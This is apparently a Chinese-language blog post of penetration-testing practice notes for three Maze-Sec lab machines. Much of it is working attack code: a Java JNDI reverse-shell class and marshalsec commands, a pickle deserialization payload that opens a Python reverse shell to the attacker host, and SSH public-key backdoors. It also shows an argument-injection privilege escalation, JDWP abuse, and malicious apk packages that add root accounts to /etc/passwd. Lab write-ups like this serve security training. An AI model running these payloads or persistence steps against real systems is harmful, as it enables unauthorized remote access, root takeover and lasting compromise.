最近在练习渗透,找到一个单靶机渗透挺好的平台:https://maze-sec.com
题目基本上是Web渗透+Linux提权,有些还挺有意思的,和云境不太一样。记录一下我的做题笔记

lanSSudoyy

1
2
3
4
5
靶机:lanSSudoyy
作者:wea5e1 (QQ: 3522700034)
靶机ID: 618
系统:Linux
难度:baby

开了22和80端口,80端口有个index.php

Web逻辑漏洞

直接输-10000就能刷钱了,拿到ssh
image.png

cat user.txt拿到flag

CVE-2021-3156提权

看一下sudo版本,1.8.23,可以打CVE
https://bgithub.xyz/worawit/CVE-2021-3156
直接上传脚本,运行poc即可。
image.png

JNDI

1
2
3
4
5
靶机:JNDI
作者:S@Ku_γA (QQ: 2312194090)
靶机ID: 620
系统:Linux
难度:Medium

扫描找到四个端口

1
2
3
4
[867ms] [*] 端口开放 192.168.56.102:22
[948ms] [*] 端口开放 192.168.56.102:80
[951ms] [*] 端口开放 192.168.56.102:8009
[983ms] [*] 端口开放 192.168.56.102:8080

JNDI注入

目录扫出来一个http://192.168.56.102:8080/jndi.jsp,应该是题目入口,打jndi注入,虽然是黑盒,怀疑直接就是把参数填到lookup里去了

本地配的host模式网卡,不出网,懒得调dnslog了,最后用javax.naming.spi.ObjectFactory打通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class JavaReverseFactory8A implements ObjectFactory {
private static boolean launched = false;

static {
launch();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
launch();
return null;
}

private static synchronized void launch() {
if (launched) {
return;
}
launched = true;
Thread thread = new Thread(JavaReverseFactory8A::reverse);
thread.setDaemon(true);
thread.start();
}

private static void reverse() {
Socket socket = null;
Process process = null;
try {
socket = new Socket("192.168.56.1", 9999);
process = new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

InputStream processOut = process.getInputStream();
InputStream socketIn = socket.getInputStream();
OutputStream processIn = process.getOutputStream();
OutputStream socketOut = socket.getOutputStream();
byte[] buffer = new byte[4096];

while (!socket.isClosed()) {
while (processOut.available() > 0) {
int length = processOut.read(buffer);
if (length > 0) {
socketOut.write(buffer, 0, length);
}
}

while (socketIn.available() > 0) {
int length = socketIn.read(buffer);
if (length > 0) {
processIn.write(buffer, 0, length);
}
}

socketOut.flush();
processIn.flush();

try {
process.exitValue();
break;
} catch (Exception ignored) {
}

Thread.sleep(50);
}
} catch (Exception ignored) {
} finally {
try {
if (process != null) {
process.destroy();
}
} catch (Exception ignored) {
}
try {
if (socket != null) {
socket.close();
}
} catch (Exception ignored) {
}
}
}
}

1
2
3
4
python -m http.server 1234 --bind 192.168.56.1

javac --release 8 JavaReverseFactory8A.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.1:1234/#JavaReverseFactory8A" 13897

拿shell:
image.png

写个公钥后门进去,稳一下shell

1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys

提权1:basename -a参数拼接,执行提权类

/usr/message里面看到一个jpg图片,string能看到liz的口令:

image.png

最后试出来liz的密码是sanmuximei
bashhistory,可以看到比较可疑的/opt/java_agent_start.sh和a.sh,同时opt这个目录可以全局写
image.png

sudo -l 看到这里有/opt/java_agent_start.sh,那就对上了,应该要加载一个提权的类来拿root
image.png

1
2
3
4
5
6
7
8
9
file_name=/opt/file/tmp
file_line=$(awk 'NR==1 {print;exit}' "$file_name")
file_line=$(basename $file_line)

cd /opt

echo $file_line

/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test

这个前三行提取tmp的第一行作为后续启动的参数,查了下basename的命令,这里使用basename的时候没有加引号,后面的启动命令里这个$file_line也没加,tmp又可控,可以直接利用

在tmp前面加上:-a libhprof.so -Djava.ext.dirs=file RootDropper8,拼成
basename -a libhprof.so -Djava.ext.dirs=file RootDropper8,basename会以空格为界,加上换行符,拼成:file_line=$'libhprof.so\n-Djava.ext.dirs=file\nRootDropper8'
最后的启动命令:

1
2
3
4
5
usr/local/java/jdk1.8.0_20/bin/java \
-agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libhprof.so \
-Djava.ext.dirs=file \
RootDropper8 \
test

这样把-Djava.ext.dirs=file作为jvm的新的启动参数,RootDropper8作为新的主类

RootDropper8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.IOException;
public class RootDropper8 {
static {
run();
}

public static void main(String[] args) {
run();
}

private static void run() {
String[] commands = {
"/bin/sh",
"-c",
"cp /bin/bash /home/bluebird/rootsh"
};

try {
new ProcessBuilder(commands).redirectErrorStream(true).start().waitFor();
} catch (IOException | InterruptedException ignored) {
Thread.currentThread().interrupt();
}
}
}

在tmp后面加上jar,让jvm去解析后面的类:

1
cat /tmp/payload.jar >> /opt/file/tmp

image.png

最后sudo /bin/bash /opt/java_agent_start.sh即可生成rootsh

image.png

提权2:JDWP远程调试

JDWP是Java提供的调试协议,在加载的时候可以让它在指定的端口开一个调试服务。在JAVA中,调试器拥有最高权限,可以随意实例化对象、调用方法,包括Runtime.getRuntime().exec()来RCE

同样的,还是利用tmp可写,我们把启动调试的命令写进去:

1
2
3
echo "libjdwp.so=transport=dt_socket,server=y,address=8000,suspend=y" > /opt/file/tmp

sudo /bin/bash /opt/java_agent_start.sh

开启调试:
image.png

原来的test的程序很简单,就是打印一个helloworld,那么我们在println的地方打上断点即可

![[Pasted image 20260327222759.png]]

image.png

Tentacle

1
2
3
4
5
靶机:Tentacle
作者:Sublarge (QQ: 1469196548)
靶机ID: 605
系统:Linux
难度:Medium

image.png

通过代理SSRF到5000

信息搜集一下,3128是一个squid的代理,在网上找到vulnhub的一个类似的靶机:https://www.cnblogs.com/LINGX5/p/18437965,使用这个代理,怀疑可以ssrf到127.0.0.1

同时在http://192.168.56.103/~operator/Tentacle能发现app.py,拿到源码,接口什么的很清楚了
![[Pasted image 20260328220700.png]]
在5000起了个服务,auth未校验,传入了一个task_data,进行了pickle.loads,打pickle反序列化

首先先成功打通代理

1
2
3
4
5
6
7
8
9
10
import requests

r = requests.get(
"http://127.0.0.1:5000/api/status",
proxies={"http": "http://192.168.56.103:3128"},
timeout=10,
)
print(r.status_code, r.text)

#200 {"cpu":"12%","main_process":"~operator/Tentacle/app.py","memory":"450MB/2048MB"}

Pickle反序列化

裸的pickle反序列化,就是要注意payload生成要在linux环境下,我一开始在window环境下弄了半天就是弹不到shell

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os
import base64
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

a = A()

pickle_a = pickle.dumps(a)
print(base64.b64encode(pickle_a).decode())

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pickle
import os
import base64
import requests

payload = "gASV/wAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjORweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjU2LjEiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4="

try:
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"task_data": payload
}
proxy = "http://192.168.56.103:3128"
proxies = {
"http": proxy,
"https": proxy
}
response = requests.post(
"http://127.0.0.1:5000/api/deploy",
data=data,
headers=headers,
proxies=proxies
)
print(f"\n[+] Response Status: {response.status_code}")
print(f"[+] Response Body: {response.text}")
except Exception as e:
print(f"[-] Error: {e}")

拿shell之后写公钥后门进去,成功登录:
image.png

SSH泄露 SSH私钥爆破

前面从http://192.168.56.103/~operator/Tentacle读出源码说明Apache的mod_userdir是开着的,可以通过相似的格式读一些别的内容,public_html 会被映射为 /username/ 形式对外提供访问。实现了将 URL: `http://服务器地址/用户名/ 映射到文件系统路径: /home/用户名/public_html/`

访问http://192.168.56.103/~licksore/.ssh找到泄露的私钥,用john the ripper破解私钥的加密短语,字典rockyou。

1
2
3
4
5
#注意python2的环境
python ssh2john.py privatekey.txt > keyhash.txt
#把keyhash中的txt头去掉
john.exe --wordlist=rockyou5000.txt keyhash.txt
john.exe --show keyhash.txt

拿到密码justice,拿口令登录ssh
我这里直接有xterminal拿了,如果是windows,有可能会提示私钥权限过大,去掉权限继承,只保留所有者权限:

1
2
3
4
$user = "$env:COMPUTERNAME\$env:USERNAME"  
icacls "rsakey" /inheritance:r
icacls "rsakey" /grant:r "${user}:F"
icacls "rsakey" /remove "BUILTIN\Users"
1
ssh -i id_rsa licksore@192.168.56.103

image.png

Apk Sudo提权

参考:https://blog.csdn.net/2301_79518550/article/details/158431683

sudo -l 看到/sbin/apk有权限,是apk提权,挺有意思,之前没见过
image.png

按步骤执行即可

  1. 准备目录
1
2
mkdir -p /tmp/evil-pkg/pkg
cd /tmp/evil-pkg
  1. 创建元文件.pkginfo
1
2
3
4
5
6
7
8
9
10
cat > pkg/.PKGINFO << 'EOF'
pkgname = evil-pwn
pkgver = 1.0.0
pkgdesc = Test package for privilege escalation demo
url = http://example.com
builddate = 1735680000
packager = root <root@localhost>
size = 4096
arch = x86_64
EOF
  1. 创建post-install脚本
1
2
3
4
5
6
7
8
9
cat > pkg/.post-install << 'EOF'
#!/bin/sh
set -e

echo 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/sh' >> /etc/passwd
echo " [!] Exploit payload executed successfully!"
EOF

chmod +x pkg/.post-install
  1. 打包成apk
1
2
cd pkg tar -czf ../evil-pwn.apk .PKGINFO .post-install 
cd ..
  1. 提权
1
sudo apk add --allow-untrusted ./evil-pwn.apk

或者:

1
2
3
Tentacle:~$ cd /tmp
Tentacle:~$ mkdir -p build_pkg
Tentacle:~$ cd build_pkg
1
2
3
4
5
Tentacle:~$ vim .PKGINFO
pkgname = rootpwn
pkgver = 1.0-r0
pkgdesc = privilege escalation
size = 1000
1
2
3
4
5
6
7
8
9
Tentacle:~$ vim .pre-install
#!/bin/sh
# password: 111111
echo 'hacker:$1$DhMw2ANK$s0Iu1RQPCyn8jbR7asAjl0:0:0:hack,,,:/root:/bin/bash' >> /etc/passwd
exit 0

Tentacle:~$ chmod +x .pre-install

Tentacle:~$ tar -czf rootpwn-1.0-r0.apk .PKGINFO .pre-install
1
2
Tentacle:~$ sudo /sbin/apk add --allow-untrusted ./rootpwn-1.0-r0.apk
Tentacle:~$ su hacker

image.png